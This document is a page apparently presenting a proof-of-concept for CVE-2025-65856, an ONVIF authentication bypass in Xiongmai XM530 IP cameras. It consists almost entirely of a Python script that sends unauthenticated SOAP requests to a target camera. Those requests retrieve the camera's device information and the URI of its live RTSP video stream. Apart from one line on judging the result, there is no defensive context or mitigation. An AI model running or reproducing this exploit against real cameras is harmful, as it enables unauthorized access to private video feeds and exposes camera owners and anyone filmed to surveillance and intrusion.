CVE-2025-65856 Xiongmai XM530 IP摄像头ONVIF认证绕过漏洞

#!/usr/bin/env python3 """ CVE-2025-65856 PoC - Xiongmai XM530 IP Camera ONVIF Authentication Bypass Author: Security Researcher """ import requests import xml.etree.ElementTree as ET TARGET_IP = "192.168.1.100" # Target camera IP ONVIF_PORT = 80 # ONVIF namespaces NAMESPACES = { 'SOAP-ENV': 'http://www.w3.org/2003/05/soap-envelope', 'ns1': 'http://www.onvif.org/ver10/device/wsdl', 'tt': 'http://www.onvif.org/ver10/schema' } def create_onvif_request(soap_body): """Generate ONVIF SOAP request without authentication""" return f'''<?xml version="1.0" encoding="UTF-8"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope"> <SOAP-ENV:Header/> <SOAP-ENV:Body> {soap_body} </SOAP-ENV:Body> </SOAP-ENV:Envelope>''' def send_onvif_request(endpoint, soap_body): """Send ONVIF request to target device""" url = f"http://{TARGET_IP}:{ONVIF_PORT}/{endpoint}" headers = {'Content-Type': 'application/soap+xml; charset=utf-8'} try: resp = requests.post(url, data=soap_body.encode(), headers=headers, timeout=5) return resp.text except Exception as e: return f"Error: {e}" def get_device_info(): """Bypass auth to get device information""" soap = '''<ns1:GetDeviceInformation/>''' request = create_onvif_request(soap) return send_onvif_request('onvif/device_service', request) def get_stream_uri(): """Bypass auth to get live video stream URI""" soap = '''<ns1:GetStreamUri> <ns1:StreamSetup> <tt:Stream>RTP-Unicast</tt:Stream> <tt:Transport><tt:Protocol>RTSP</tt:Protocol></tt:Transport> </ns1:StreamSetup> <ns1:ProfileToken>Profile_1</ns1:ProfileToken> </ns1:GetStreamUri>''' request = create_onvif_request(soap) return send_onvif_request('onvif/media_service', request) def main(): print(f"[*] CVE-2025-65856 PoC - Targeting {TARGET_IP}") print("[*] Testing authentication bypass on ONVIF endpoints\n") print("[1] Attempting to get device information...") device_info = get_device_info() print(device_info) print("\n[2] Attempting to get video stream URI...") stream_uri = get_stream_uri() print(stream_uri) print("\n[!] If unauthenticated access succeeds, device is vulnerable") if __name__ == "__main__": main()